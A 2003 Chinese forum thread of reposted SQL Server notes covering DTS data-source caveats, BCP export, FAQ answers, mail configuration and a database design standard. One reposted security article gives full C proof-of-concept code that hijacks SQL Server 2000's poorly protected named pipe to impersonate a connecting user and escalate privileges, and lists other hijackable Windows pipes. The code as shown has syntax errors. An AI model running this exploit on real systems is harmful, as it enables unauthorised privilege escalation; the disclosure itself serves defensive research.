Microsoft Visual FoxPro® 只支持 numeric 数据类型的 (15，9) 精度。如果导出到 Visual FoxPro 的数据超出该精
度，则会被截断并四舍五入。

Visual FoxPro 不支持 SELECT INTO 语句。

DTS 查询设计器支持 Visual FoxPro INSERT VALUE 语句，但不支持使用 SELECT 语句的 INSERT 语句。

ODBC 的 Microsoft OLE DB 驱动程序无法使用 FoxPro ODBC 驱动程序将 BLOB 写入 Visual FoxPro，因为 Visual
FoxPro 不支持动态游标。
ODBC
当连接到 ODBC 数据源时，请考虑下列事项：

ODBC 的 Microsoft OLE DB 提供程序在执行导出操作时需要一个在带有 BLOB 数据列的所有目标表上的唯一键。

当使用带有 SQL Server ODBC 驱动程序的 ODBC 的 Microsoft OLE DB 提供程序时，在安排带有源行集中其它数据类型的
列之后安排所有 BLOB 列。可以使用 SELECT 语句重新将 BLOB 列安排到源行集的末尾。DTS 导入/导出向导自动地执行该
操作。

重要当使用带有 SQL Server ODBC 驱动程序的 ODBC 的 Microsoft OLE DB 提供程序时，请尝试预览带有连接忙错误的
存储过程失败。如果使用 SQL Server 的 Microsoft OLE DB 提供程序，该问题就不会发生。

如果一个用于 SQL Server 的 Microsoft ODBC 驱动程序连接由多个线程共享，此连接可能会失败，并返回错误信
息"Connection is busy with results for another hstmt"（此连接正忙于其它 hstmt 的结果）。在某些情况下，这将
影响通过 DTS 导入/导出向导生成的包。使用以下方法之一解决此问题：
将 MaxConcurrentSteps 属性设置为1 以消除竞争的线程。

创建其它的 ODBC 连接以消除连接共享。

使用用于 SQL Server 的 Microsoft OLE DB 提供程序 (SQLOLEDB) 连接数据库。如果需要连接 SQL Server 6.5 数据
库，则运行 Instcatl.sql 以启用通过用于 SQL Server 的 Microsoft OLE DB 提供程序进行访问。
Oracle
当使用 Oracle 作为数据源时，请考虑以下事项：

用于 Oracle 的 Microsoft ODBC 和 OLEDB 驱动程序支持 Oracle 7.3 BLOB 数据类型，不支持 Oracle 8.0 数据类型。
例如，不支持 BLOB、CLOB、NCLOB 和 BFILE。

用于 Oracle 的 Microsoft OBDC 驱动程序不支持将 Unicode 字符串发送到 Oracle 服务器中。Oracle 要求在 Unicode
字符串前加上前缀字母 N。

用于 Oracle 的 Microsoft OBDC 驱动程序不支持 Oracle number 数据类型的负向缩放。

用于 Oracle 的 Microsoft OBDC 驱动程序报告无指定精度的 Oracle number 数据类型的长度为 20 位数字。当从
Oracle （不考虑目的）中导入时，如果有多于 20 位的数字，并且如果目的表还不存在，可能必须手工地增加精度。

在表中 Oracle 仅支持一个 LONG (BLOB) 数据列。

不能导入或导出拥有混合或小写名称的 Oracle 列。也不能通过使用 Oracle 列名称（包含使用 DTS 导入/导出向导的空
格）来转换或复制数据。Oracle 要求精确指定并引用区分大小写的列名称。

若要在 SQL Server 2000 和 Oracle 之间执行分布式事务，必须使用 Oracle 8.0.4.1 版本或更新版本。有关更多信息，
请参见分布式事务。

由于用于 Oracle 的 Microsoft OLE DB 提供程序不支持 IcommandWithParameters，所以它不能用作数据驱动的查询任务
的目的地。在 DTS 设计器中使用此提供程序时，转换数据任务、数据驱动的查询任务以及执行 SQL 任务上的"参数"按钮
将被禁用。
IBM AS/400 上的 DB2
当连接到 DB2 数据源时，请考虑以下事项：

在 AS/400 系统上不支持 Unicode 或 BLOB。

在 AS/400 服务器上不能转换任何有 NULL 列值的表，因为 AS/400 在其 CREATE TABLE 语句中不支持 NULL 语法。然
而，如果编辑 CREATE TABLE 语法以清除对 NULL 的引用时，则可以发送 NULL 值。AS/400 不支持 NOT NULL；如果没指
定就假定为 NULL。
使用 Sybase ODBC 驱动程序
当连接到一个 Sybase ODBC 数据源时，请考虑以下事项：

当使用 DTS 导入/导出向导将数据从 SQL Server 转换到 Sybase 11 版本时：
默认情况下，SQL Server numeric (3,0) 数据类型映射为 Sybase smallmoney。为避免数据丢失，请更改此设置。

默认情况下，SQL Server numeric (18,x 或 19,x) 数据类型映射为 Sybase money 数据类型。为避免数据丢失，请更改
此设置。

将数据移动到一个新的 Sybase 表时，如果单击了"列映射和转换"对话框中的"确定"按钮，向导会返回错误信息"表已存
在"。应该忽略此消息。

不能使用 DTS 导入/导出向导除去并且重新创建 Sybase 表。必须不使用向导来执行此操作。
DTS 查询设计器不支持 Sybase SQLAnywhere CREATE TABLE 语句。

由于 SQLAnywhere 驱动程序中的限制，DTS 导入/导出向导每次只能将一个表移动到 SQLAnywhere 数据库。可以使用
DTS 设计器来克服此限制。然而，因为 SQLAnywhere 驱动程序不是安全线程，所以，必须将每个表的 Step 对象的
ExecuteInMainThread 属性设置为 True。

如果表中包含 BLOB 列，则不能将此表复制到 Sybase 目的中。

如果通过编程方式从 Sybase 中复制一个包含 image 数据类型的表，则更改默认的 BLOB 设置会导致失败。
dBase 和 Paradox
当连接到 dBase 和 Paradox 数据源时，请考虑以下事项：

dBase 和 Paradox 中的表名称被限制为八个字符。dBase 中的列名称被限制为 10 个字符。
文件导入或导出
当从文本文件导入或导出数据时，请考虑以下事项：

在 char 或 varchar 列中导入或导出数据时，如果客户端 OEM 代码页与服务器上的代码页不同，则某些扩展字符可能不
被复制。在 nchar 或 nvarchar 列中导入或导出数据时，所有字符均能正确复制。

如果将 BLOB（包括 SQL Server 的 text 和 ntext 数据类型）列导出到固定长度的文本字段中，则将默认长度设置为
BLBO 字段的最大长度（大约 2GB）。通过选择较小的但足够的字段长度来防止磁盘溢出，或者在可能的时候使用分隔格
式。

DTS 中使用的用于文本文件的 OLE DB 提供程序不能处理超过两兆字节 (MB) 的 BLOB 数据列。
代码页、排序规则和非 Unicode 数据问题
使用 DTS 在具有不同代码页和排序规则的 SQL Server 数据库间复制数据时，数据可能会丢失或转换不正确。

为避免出现转换问题，应以 Unicode 形式存储国际数据。一旦转换为 Unicode 后，便可很容易地将任何排序规则或代码
页中的数据传送到任何 Microsoft SQL Server 2000 或 Microsoft SQL Server 7.0 数据库，而不会出现数据丢失或转换
不正确这类问题。

在 Microsoft SQL Server 2000 中，排序规则与具体的代码页相关联并被指派给各个列。（Microsoft SQL Server 7.0
使用单个的默认代码页且不支持列级排序规则）。如果用于源列和目的列的代码页匹配，则非 Unicode 列不会发生数据丢
失。在非 Unicode 列间复制数据时，如果源列与目的列不匹配，则将发生数据丢失。在某些情况下，DTS 执行最佳的匹配
映射。如果源代码页包含的字符在目的代码页中未出现，则将发生数据丢失。此外，DTS 执行复制时不需要任何转换干
预，这将导致在两个代码页中不是由同一个二进制值表示的数据丢失。下面的问题及准则分别针对使用复制 SQL Server
对象任务的情况，和使用复制列转换在不同排序规则或代码页之间复制数据的情况。

复制 SQL Server 对象任务
下面论述复制 SQL Server 对象任务如何处理非 Unicode 数据：

在 SQL Server 2000 实例间复制数据时，只要设置复制 SQL Server 对象任务的 UseCollation 属性，便不会发生数据丢
失。

将数据从 SQL Server 2000 实例复制到 SQL Server 7.0 时，对于具有与数据库默认排序规则代码页相匹配的排序规则的
列，使用最佳匹配映射。而具有不同代码页的列中所存储的数据，则被解释为正在用默认代码页进行编码处理，转换过程
中将伴随数据丢失。

将数据从 SQL Server 7.0 复制到SQL Server 2000 实例时，由于 SQL Server 7.0 无法确定其默认代码页所映射的排序
规则，UseCollation 属性不可用。执行复制 SQL Server 对象任务期间不支持任何排序规则，因此，将给非 Unicode 目
的列指派目的数据库的默认排序规则。如果与此排序规则相关联的代码页与源数据库的代码页不匹配，DTS 将执行最佳匹
配映射。

将数据从 SQL Server 7.0 复制到 SQL Server 7.0 时，如果源数据库和目的数据库使用不同的默认代码页，DTS 将执行
最佳匹配映射。
若要确保复制非 Unicode 时不发生数据丢失，可使用 SQL Server 大容量复制功能以 Unicode 格式导出数据，然后使用
大容量复制或 DTS 导入数据。

若要禁用默认排序规则脚本，请添加代码或使用脱接编辑或动态属性任务将 SQLDMOScript2_70Only 的值添加到复制 SQL
Server 对象任务的 ScriptOptionEx 属性中。

复制列转换
下面论述复制列转换如何在不同代码页之间处理非 Unicode 数据：

如果源列为 Unicode 而目的列为非 Unicode，则执行最佳匹配映射，并尝试在源列和目的列之间转换数据。

如果源列为非 Unicode 而目的列为 Unicode，则不论实际使用的代码页是什么，DTS 都将源列视为属于代码页 1252。

如果源列和目的列都为非 Unicode，原始数据不经转换即被复制，将发生部分数据丢失。
作者: ccwlm741212 时间: 2003-12-23 22:39
如何得到一个数据库中每张表的纪录数目
USE pubs -- 可改成您的数据库名称
SET NOCOUNT ON
DECLARE tables_cursor CURSOR
FOR
SELECT name FROM sysobjects WHERE type = 'U'
OPEN tables_cursor
DECLARE @tablename varchar(30), @quote char(1)
SELECT @quote = ''''

FETCH NEXT FROM tables_cursor INTO @tablename
WHILE (@@fetch_status <> -1)
BEGIN
EXEC ('Select ' + @quote+'Rows in ' + @tablename + ' = '+ @quote + ', count(*) from '+ @tablename)
FETCH NEXT FROM tables_cursor INTO @tablename
END
DEALLOCATE tables_cursor
SET NOCOUNT OFF
作者: ccwlm741212 时间: 2003-12-23 22:39
SQL Server 7.0 函数及SQL语句相关问题
1 要将一个数据库的所有表格使用批通信程序取出（BCP OUT），有何较快的方法？
2 SQL Server 7.0限制的同时使用的表格和视图数目为多少？
3 SQL Server 7.0与SQL Server6.5的DMO版本不同，是否可以在SQL Server 7.0执行SQL Server 6.5的存储过程？
4 为何使用批通信程序导入（BCP IN）SQL Server 7.0 Datetime字段后， millisecond（千分之一秒）会与导入前的值不同？
5 为什么使用SQL Server 7.0的标准差函数STDEV时出现"A domain error occurred"信息?
6 如何使用SQL Server 7.0查询选取（Query Analyzer）查询Oracle数据？
7 SQL Server 7.0是否可以使用RECURSIVE TRIGGER？
8 执行xp_logininfo时出现

Server: Msg 8198, Level 16, State 10, Procedure xp_logininfo, Line 58 Could not obtain information about Windows NT group/user ''

如何解决？

要将一个数据库的所有表格使用批通信程序取出（BCP OUT），有何较快的方法？

假设您的SQLServer 计算机名称为technology1，sa密码空的，如果要将pubs使用批通信程序取出，可以参照下列步骤：

1)在Query Analyzer中执行下列指令：
select 'bcp pubs..'+name+' out'+' d:\test\'+name+'.txt -c -Stechnology1 -Usa -P' from sysobjects where type = 'U'

2)结果如下

----------------------------------------------------------------------------
bcp pubs..authors out d:\test\authors.txt -c -Stechnology1 -Usa -P
bcp pubs..publishers out d:\test\publishers.txt -c -Stechnology1 -Usa -P
bcp pubs..titles out d:\test\titles.txt -c -Stechnology1 -Usa -P
bcp pubs..titleauthor out d:\test\titleauthor.txt -c -Stechnology1 -Usa -P
bcp pubs..stores out d:\test\stores.txt -c -Stechnology1 -Usa -P
bcp pubs..sales out d:\test\sales.txt -c -Stechnology1 -Usa -P
bcp pubs..roysched out d:\test\roysched.txt -c -Stechnology1 -Usa -P
bcp pubs..discounts out d:\test\discounts.txt -c -Stechnology1 -Usa -P
bcp pubs..jobs out d:\test\jobs.txt -c -Stechnology1 -Usa -P
bcp pubs..pub_info out d:\test\pub_info.txt -c -Stechnology1 -Usa -P
bcp pubs..employee out d:\test\employee.txt -c -Stechnology1 -Usa -P
(11 row(s) affected)
3)将结果储存成文字文件，文件名为bat，将第一行的------与最后一行(11 row(s) affected)去掉。

4)在DOS下创建d:\test的子目录，并执行上述的bat文件，该bat文件将Pubs数据库中的每个表格存放到每个txt文件中

SQL Server 7.0限制的同时使用的表格和视图数目为多少？

256，SQL Server 6.5为16。

SQL Server 7.0与SQL Server6.5的DMO版本不同，是否可以在SQL Server 7.0执行SQL Server 6.5的存储过程？

可以，请将SQL Server 6.5升级到SP5a，但是无法使用SQL Server 7.0的MMC管理SQL Server 6.5。

为何使用批通信程序导入（BCP IN）SQL Server 7.0 Datetime字段后， millisecond（千分之一秒）会与导入前的值不同？

SQL Server 7.0时间的准确值为百分之三秒，所以millisecond（千分之一秒）的值为0、3或7详细请参考SQL Server 7.0 联机书籍datetime and smalldatetime (T-SQL)。

为什么使用SQL Server 7.0的标准差函数STDEV时出现"A domain error occurred"信息?

当数据为浮点数时，会因为浮点数运算不精确而造成此问题。当VAR(x) 为零时，如果计算机是用一个很小的负数表示，那么就无法开平方根运算标准差，就会出现这样的问题。当所有的数值都相等时，就很有可能出现这种错误信息。对于这种情形，建议使用下列方法： select sqrt(abs(var())) from

如何使用SQL Server 7.0查询选取（Query Analyzer）查询Oracle数据？

请参考下列示例：

先使用Oracle客户端软件设定一个网络服务名称，如:"OracleServer'﹝请参考Oracle手册﹞
在SQL Server 7.0中，使用链接的服务器连接到Oracle. 如: sp_addlinkedserver 'TESTLINK', 'Oracle', 'MSDAORA', 'OracleServer', ps. 'TESTLINK'是由您自定义的，'Oracle', 'MSDAORA'是固定的，'OracleServer'是由步骤1确定的。
在SQL Server 7.0中，使用addlinkedsrvlogin登录到Oracle. 如: sp_addlinkedsrvlogin 'TESTLINK', 'false', NULL,'OracleUsr', 'OraclePwd' ps. 'TESTLINK'是步骤2确定的,'OracleUsr'是Oracle用户名,'OraclePwd'是用户密码。
执行T-SQL语句。如: select * from <linkservername>.<dbname>.<dbo>.<dbtable>. ps.linkservername是步骤2确定的。
SQL Server 7.0是否可以使用RECURSIVE TRIGGER？

可以。

执行xp_logininfo时出现

Server: Msg 8198, Level 16, State 10, Procedure xp_logininfo, Line 58 Could not obtain information about Windows NT group/user ''

如何解决？

这是因为Windows NT的本地组或全局组与域或计算机的名称相同。
作者: ccwlm741212 时间: 2003-12-23 22:43
SQL SERVER 2000通讯管道后复用劫持
发一贴，我也是刚刚接触sql server。不到一个星期，最近遇到的
就是连接问题，TCP/IP连接好是出错，你们谁曾经在这方面会遇到
哪些问题能不能给我讲讲。我也发zz一篇问题，不错。还有请大家
推荐几个好的网站和电子书籍。谢谢。
SQL SERVER 2000通讯管道后复用劫持
原创：flashsky（闪空）

转摘请注明作者和安全焦点
作者：FLASHSKY
SITE：WWW.XFOCUS.NET
邮件：flashsky@xfocus.org

SQL SERVER 2000通讯中，允许使用有名管道来进行通讯，一般情况下是如此命名的：
默认实例：\\.\pipe\sql\query
命名实例：\\.\pipe\MSSQL$instancename\sql\query
也可以通过1434 UDP进行查询获得这个管道名称

但是由于SQL SERVER 2000对于这个管道的ACL设置为NULL，导致任何用户的权限都可以对这个管道进行劫持，以前的劫持都是利用先停掉服务，再建立这个名字管道，然后再启动服务来复用自己已经建立了名字的管道，但实际上SQL SERVER 2000会判断是否已有同名管道，然后会取别的名字，而且低级权限的用户也启动和停止不了服务（除非是利用一些漏洞），但是实际上对管道的测试却发现：如果ACL设置成NULL的话，即使是后命名的管道，也可以劫持先命令的管道，只需要简单复用管道，然后自己建立几个管道的连接不释放（具体建立几个估计和真正的管道
建立时的实例个数有关，如在我的测试下，\\.\pipe\sql\query只需要建立1个接可以劫持了，而\\.\pipe\lsass则需要4-5个之后才能劫持。不过\\.\pipe\lsass的ACL只能是管理员才能进行劫持）
如果攻击者复用了同名管道以后，建立起几个不释放的管道（消耗掉了正常管道的实例），然后再有客户发起的管道连接就进入了攻击者程序的管道监听流程，剩下的就是大家都知道的利用模拟函数获得发起者权限的老生常谈了：
下面就是一个简单的例子，实现对SQL SERVER 2000管道通讯的劫持
环境：SQL SERVER 2000+SP2
WIN2000 SERVER中文版+SP3
测试流程：
1。先建立SQL 服务器允许管道通讯，和集成WINDOWS 验证，添加一个具备高权限的允许SQL SERVER登陆的WINDOWS本机帐户，启动SQL SERVER服务
2。C盘下建立一个TEST.TXT文件，设置ACL为GUEST全部拒绝，其他人都许可
3。在另外一台机器B上，以添加的可以登陆SQL SERVER的服务器帐户登陆，然后设置客户端网络库只为管道（如果有多个，可能就会是随机选一个连接，而不肯定是管道进行通讯了）
4。然后用SQL SERVER企业管理器建立一个SQL SERVER的连接，使用集成WINDOWS验证
5。SQL SERVER这边的机器进入GUEST帐户运行下面C代码的程序，会显示先无法打开TEST.TXT文件，然后进行劫持，等待客户端管道连接
6。在机器B上，连接SQL SERVER，然后主机A的程序就会截获这个管道扮演高权限登陆用户，然后可以打开先没权限打开的文件。

当然这个攻击本身实际的意义可能不大，因为估计现在SQL SERVER用管道建立通讯的比较少，而且在都允许的情况下，一般会主动选择TCP方式进行连接，但同时说明了：一个缺乏很好ACL保护的管道，也可以用后发复用来进行劫持，这就减少了很多需要先停掉服务或预先预测的难题，在编写服务器端管道应用的时候也必须小心。

SQL SERVER 2000劫持代码
#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>

void main()
{
HANDLE pipea;
FILE * fp;
DWORD ret;
DWORD num;
HANDLE pipeb[100];
int i;
int dwSize ;
char szUser[256];
DWORD dwNumber = 0;
//先的测试，在GUEST权限下无法打开此文件
fp = fopen("C:\\test.txt","w";
if(fp==NULL)
printf("now you don't open file;\n";
//建立起一个同名管道，复用已存在的SQL SERVER的
pipea = CreateNamedPipe("\\\\.\\pipe\\sql\\query",
PIPE_ACCESS_DUPLEX,
PIPE_TYPE_MESSAGE|PIPE_WAIT,
100,
2048,
2048,
NMPWAIT_USE_DEFAULT_WAIT,
NULL);

if(pipea ==INVALID_HANDLE_VALUE)
{
ret = GetLastError();
printf("error in createnamedpipe!code=%d\n",ret);
return;
}
//损耗掉其他正常实例
if(WaitNamedPipe("\\\\.\\pipe\\sql\\query",NMPWAIT_WAIT_FOREVER)==0)
{
printf("no this pipe\n";
return;
}
//可以调整个数，SQL SERVER只需要调整一个就可以了
for(i=0;i<1;i++)
{
Sleep(20);
if((pipeb=CreateFile("\\\\.\\pipe\\sql\\query",GENERIC_WRITE|GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL))==INVALID_HANDLE_VALUE)
{
printf("open pipe failed\n";
return;
}
//WriteFile(pipeb,"test1",5,&num,NULL);
//WriteFile(pipeb,"test2",5,&num,NULL);
}
//然后等待连接
ConnectNamedPipe (pipea, NULL);
ReadFile(pipea, (void *) &dwNumber, 4, &dwSize, NULL);
//模拟连接进来的用户
ImpersonateNamedPipeClient (pipea);
dwSize = 256;
//获得用户信息
GetUserName(szUser, &dwSize);
printf ("Impersonating: %s\n", szUser);
//然后再测试是否能打开这个文件，证明确实提升了权限
fp = fopen("C:\\test.txt","w";
if(fp!=NULL)
printf("now you can open file\n";
DisconnectNamedPipe(pipea);
CloseHandle(pipea);
for(i=0;i<1;i++)
CloseHandle(pipeb);
return;
}

补充：
所有管道都有这个漏洞，就是看ACL能否允许你复用，只要能复用就可以
如//./pipe/lsass 我都可以劫持，但是他的ACL定义成只能administrator进行劫持
目前测试了一下默认的一些管道基本ACL设置好好，不允许低级权限用户复制，但SQL的管道显示ACL设置的很差
可能更多服务或者其他的第三方的服务中存在这样没有很好ACL保护的管道，那么就意味着后复用也可以劫持成功

下面是我开启了所有默认的WIN的服务，然后获取的系统管道测试的结果（没有开启终端服务，我机器没装，装了终端服务的可以测一下），另外也不能说没有意义，我前面看见一篇文章还专门推荐用集成验证加管道通讯获得更安全的SQL SERVER呢，嘿嘿
Pipe name (Number of instances, Maximum instances)

InitShutdown (2, -1)<---------------可以在ADMIN下劫持
net\NtControlPipe5 (1, 1)
llsrpc (2, -1) <---------------可以在ADMIN下劫持
000001e8.000 (2, -1) <-----------可以在ADMIN下劫持
net\NtControlPipe8 (1, 1)
net\NtControlPipe9 (1, 1)
ProfMapApi (2, -1)<--------------可以在ADMIN下劫持
epmapper (2, -1)<----------------可以在ADMIN下劫持
WMIEP_454 (2, -1)<---------------可以在ADMIN下劫持<------GUEST用户可劫持
WMIEP_444 (2, -1)<---------------可以在ADMIN下劫持<------GUEST用户可劫持
net\NtControlPipe11 (1, 1)
WMIEP_3c8 (2, -1)<---------------可以在ADMIN下劫持
net\NtControlPipe12 (1, 1)
net\NtControlPipe13 (1, 1)
nddeapi (2, -1)<-----------------可以在ADMIN下劫持<------GUEST用户可劫持
NetDDE (1, 1) 返回所有管道实例都忙的错误信息，不知道是否ACL设置许可复用
net\NtControlPipe14 (1, 1)
Winsock2\CatalogChangeListener-e8-0 (1, 1)<-----------------可以在ADMIN下劫持
net\NtControlPipe15 (1, 1)
Winsock2\CatalogChangeListener-574-0 (1, 1)<-----------------可以在ADMIN下劫持
WMIEP_640 (2, -1)<-----------------可以在ADMIN下劫持
Winsock2\CatalogChangeListener-640-0 (1, 1)<-----------------可以在ADMIN下劫持
net\NtControlPipe25 (1, 1)
WMIEP_6f0 (2, -1)<-----------------可以在ADMIN下劫持
sql\console (1, -1)<---------------可以在ADMIN下劫持<------GUEST用户可劫持
SQL\QUERY (1, -1)<-----------------可以在ADMIN下劫持<------GUEST用户可劫持
net\NtControlPipe26 (1, 1)
tsx_listener (1, 1) 返回所有管道实例都忙的错误信息，不知道是否ACL设置许可复用
winreg (2, -1)<-----------------可以在ADMIN下劫持
Winsock2\CatalogChangeListener-6f0-0 (1, 1)<-----------------可以在ADMIN下劫持

其中在GUEST权限下可劫持的有
WMIEP_454 (2, -1)<---------------可以在ADMIN下劫持<------GUEST用户可劫持
WMIEP_444 (2, -1)<---------------可以在ADMIN下劫持<------GUEST用户可劫持
nddeapi (2, -1)<-----------------可以在ADMIN下劫持<------GUEST用户可劫持
sql\console (1, -1)<---------------可以在ADMIN下劫持<------GUEST用户可劫持
SQL\QUERY (1, -1)<-----------------可以在ADMIN下劫持<------GUEST用户可劫持
SQL 的就不说了，不过sql\console这个管道用于什么方面还不清楚，如果有默认的一些用途的话，估计也是一个点。
nddeapi的基本存在nddeapi的应用的话就可以发生
WMI的就难点，看这样子是随着发展每个连接都会新建起来的，那样后复用作用就不大，只能采用预测名字的方法提前复用来攻击，但是奇怪的是其权限是不同的，有些WMI的不能GUEST复用，有些又可以，有时间了具体测试一下WMI客户与服务器之间连接产生的管道通讯的情况，或许也是走一个默认的管道名，说不定就可以攻击了呢，：）

发布时间：2002年11月09日13时
作者: ccwlm741212 时间: 2003-12-23 22:46
关于为SQL 配置一个邮件配置文件
问：关于为SQL Server 2000 和 SQL Server 7.0 配置一个邮件配置文件，我需要了解些什么？

答：您可以配置一个SQL Server邮件配置文件以便于通过运行Transact-SQL 代码来发送和接受邮件（例如：使用xp sendmail 扩展存储过程来发送e-mail）。您还可以为SQL Server Agent配置一个邮件配置文件，以便于在特定的作业失败或产生一个报警的时候，会自动给操作员发送一封e-mial。用邮件配置文件可以确定邮件服务器以及服务器是POP3服务器还是SMTP服务器、SQL Server登录名和密码这样的连接细节。为SQL Server和SQL Server Agent服务配置邮件配置文件的过程和为您的邮箱配置邮件配置文件以使您可以从邮件客户端收发邮件的过程基本上相同。但是您需要考虑以下的几个问题，这些问题是单指配置SQL Server而言，不是指配置SQL Server 和 SQL Server Agent。

为了使用邮件服务，SQL Server 帐户必须在一个正确的Microsoft Windows NT®帐户下启动，并且不能是一个本地系统帐户。因为SQL Server和SQL Server Agent 服务必须能够访问邮件服务器，该帐户需要对网络进行访问。但本地系统帐户不能对网络进行访问。

使用运行SQL Server 服务所需要的Windows NT 域和帐户登录到运行SQL Server的计算机上，然后可以创建邮件配置文件。注意：邮件配置文件和“我的文档”文件夹一样与特定的登录帐户有关。例如：如果您在您自己的帐户（比如：DOMAIN\SmithJ ）下创建了一个邮件配置文件，但是SQL Server运行在它自己的帐户（DOMAIN\SQLServer）下，那么SQL Server不能够检测到或者不能够使用这个邮件配置文件。

在开始创建您的邮件配置文件之前，请确信SQL Server 可以连接到邮件服务器。简单地用“Ping”命令测试一下就可以了。
作者: ccwlm741212 时间: 2003-12-23 22:47
SQL Server 70中配置SQL Server Agent Mail 指南

配置环境：
MS Win NT40中文标准版（SP6）
SQL Server 70 (7.00.725；SP1+HotFix)
Outlook Express 5 (5.00.2314.1300)

安装步骤：
1、安装Windows Messaging 组件；

2、重新安装SP6;
3、为SQL Server Agent建立服务帐号sqlagent (Admin权限)；
4、退出当前登录，以sqlagent帐号登录；
5、进入控制面板->电子邮件，设置Internet Mail

输入正确电子邮件服务器地址，要求该服务器支持SMTP协议，其他可随意填写；

6、设置Outlook Express；
打开Outlook Express若首次打开，则提示设置连接，之后提示建立邮件帐号，选择引入，按提示完成设置，如已配置帐号则由文件->导入->邮件帐号设置，启动该向导，并确认新导入的帐号设置为缺省帐号；

7、设置SQL Server Agent 服务帐号；

8、设置SQL Server Agent Mail；

9、添加操作员；

10、在JOB中设置报警通知；

至此，已完成SQL Agent Mail的设置，当发生满足报警通知条件的事件，系统将相关信息发送到操作员的信箱中。

修改邮件帐号设置：
当需要修改发送邮件服务器及帐号设置时，要在Outlook Express中修改相应配置信息。在控制面板-电子邮件=
作者: ccwlm741212 时间: 2003-12-23 22:57
数据库设计规范 (转贴)
数据库设计规范
1 目的

规范数据库设计。

2 概述

从数据库的设计原则设计文档几方面论述数据库设计的规范思想及命名规则。

3 数据库应用结构

根据对一般业务系统的分析，将数据库和程序系统统一进行整体描述，展示数据库的

表之间以及与程序模块间的关系。

3.1 数据表和程序模块的分类

根据“处理特点”，将数据表和程序模块进行分类如下：

数据表分类：业务数据表、基本编码表、辅助编码表、系统信息表、累计数据表、结

算数据表、决策数据表。
程序模块分类：初始化、业务处理、完整性检测与修正、结算处理、统计处理。

3.1.1 数据表分类说明

业务数据表：记录业务发生的过程和结果。如，合同、出仓单、申请单、凭证。
基本编码表：描述业务实体的基本信息和编码。如，产品、客户、供应商、雇员。
辅助编码表：描述属性的列表值。如，合同类型、职称、民族、付款方式。
系统信息表：存放与系统操作、业务控制有关的参数。如，用户信息、权限、用户配

置信息、成本核算方式。
累计数据表：存放业务的当前值和累计值。如，当前库存、当前存款、累计销售、累

计支出、应收账款。
结算数据表：存放各个时期末的结存数。如，月末库存、月末银行存款、应收账款月

结。
决策数据表：存放各个时期内发生的统计值。如，月销售统计、月回款统计、出入库

统计。

3.1.2 程序模块分类说明

初始化：系统运行前对系统进行数据的初始化。如，库存初始化。
业务处理：业务过程的控制和结果记录。如，合同录入、费用审批、出入库。
完整性检测与修正：对累计数据表进行检查并自动修正。如对当前库存、当前存款、

累计销售的检查和重新计算。
结算处理：计算并记录各个时期末的结存数。库存月结、应收账款月结。
统计处理：计算并记录各个时期内发生的统计数。如，统计月销售、统计月回款、统

计出入库。

3.2 数据表间的关系

业务数据表<-->基本编码表主-外键关系。如，合同表<-->客户编码表;
业务数据表<-->辅助编码表主-外键关系。如，合同表<-->付款方式;
业务数据表、累计数据表、结算数据表：累计数据表=结算数据表(上期末) + 业务数

据表(本期内发生)。如当前库存=上月末库存数+(本月入库数-本月出库数);
决策数据表<-->业务数据表决策数据表的数据是由业务数据表中数据导出(统计)的；

3.3 数据表与程序模块间的关系

由一个例子(仓库管理)来说明数据表与程序模块之间的关系：
. 系统使用前，由初始化模块对库存数(累计数据表)和上月末库存数(结存数据表)进

行初始化；
. 当有入库业务发生时，由入库模块(业务处理)将入库单录入并保存到入库单明细帐(

业务数据表)中，同时将入库数累加到库存数(累计数据表)中；
. 定期或不定期，库存数核算模块(检查完整性检测与修正)根据上月末的库存数(结存

数据表)、本月已发生数(业务数据表)检查当前的库存数(累计数据表)是否符合，不符合

则给出提示，可手工或自动进行更正(当前库存数=上月末库存数+本月入库数-本月出库数

)；
. 每月初，进行上月的月结处理。月结模块(结算处理)根据上月初的库存数(结存数据

表)、上月发生数(业务数据表)计算出上月末的库存数(累计数据表)。公式为：上月末库

存数=上月初库存数+上月入库数-上月出库数；
. 每个月月结后，库存业务月统计模块(统计处理)统计上月的各种库存商品的入库和

出库数，便于查询和生成报表，也作为决策支持的数据基础。

3.4 数据表命名时对数据表分类的考虑

. 业务数据表：t_d_<系统标识>_<表标识>。如销售系统的合同表 t_d_SH_Contract

或 t_d_SH_合同；
. 基本编码表：t_b_[<系统标识>]_<表标识>。如客户编码表t_b_Customer 或 t_b_客

户；
. 辅助编码表：t_a_[<系统标识>]_<表标识>。如合同类别t_a_ContType 或 t_a_合同

类别；
. 系统信息表：t_s_[<系统标识>]_<表标识>。如用户表t_s_User 或 t_s_用户；
. 累计数据表：t_t_<系统标识>_<表标识>。如当前库存表t_t_SO_Stock 或 t_t_SO_

库存；
. 结算数据表：t_c_<系统标识>_<表标识>。如库存月结表t_c_SO_StockMonth 或

t_c_SO_库存月结；
. 决策数据表：t_w_<系统标识>_<表标识>。如月销售统计表t_w_SH_SellMonth 或

t_w_SH_月销售统计；

注：[]内的内容表示可选。如“t_s_[<系统标识>]_<表标识>”表示t_s_SH_User 和

t_s_User 都是符合规则的。

4 数据库结构原则

规定除数据库设计所遵循的范式外的一些适用原则，在遵循数据库设计范式的基础上

，合理地划分表，添加状态和控制字段等。

4.1 辅助编码表

为了使辅助编码表能起到预期的效能，又不因过多的辅助编码表难以管理，故对辅助

编码表的使用作如下规定：

1. 当某辅助编码表的编码允许用户添加时，应设计成“独立”的数据表；否则，将不

允许用户添加编码的各辅助编码表合并成一个“通用”的辅助编码表。
2. “独立”的辅助编码表与主表的列采用主-外约束保证列数据完整性。
3. “通用”的辅助编码表与各主表间没有约束关系，主表列的数据完整性由列说明的

“域”来保证。
4. “通用”的辅助编码表除编码和名称列外，还有一个标识列，用来标识合并前的各

码表，该标识列+编码列作为该表的主键。
5. 对于“独立”的辅助编码表，用户只可添加新的编码和改变名称，并且不能改变一

个编码所代表的意义；对于“通用”的辅助编码表，原则上不允许用户修改，或只有限地

允许修改名称。

4.2 基本编码表

1. 基本编码表可以有如下的标识列：内编码、外编码、助记码、简称、全称。内编码

（唯一编码）作为主键有程序自动生成，用户不可见；外编码（唯一编码）由用户按某种

规则自行定义，用户可见；助记码为拼音缩，方便录入，不唯一，重码时由列表选择；简

称用于列表显示和报表，以便缩短行宽。以上的列在实现时可视情况和习惯加以删减。
2. 当码表的列较多且也行较多时，可将上述的标识列和常用的信息存于一个表，将其

它的信息另表存储。

4.3 业务数据表

1. 设有‘录入人’和‘录入日期’列，由系统自动记录。
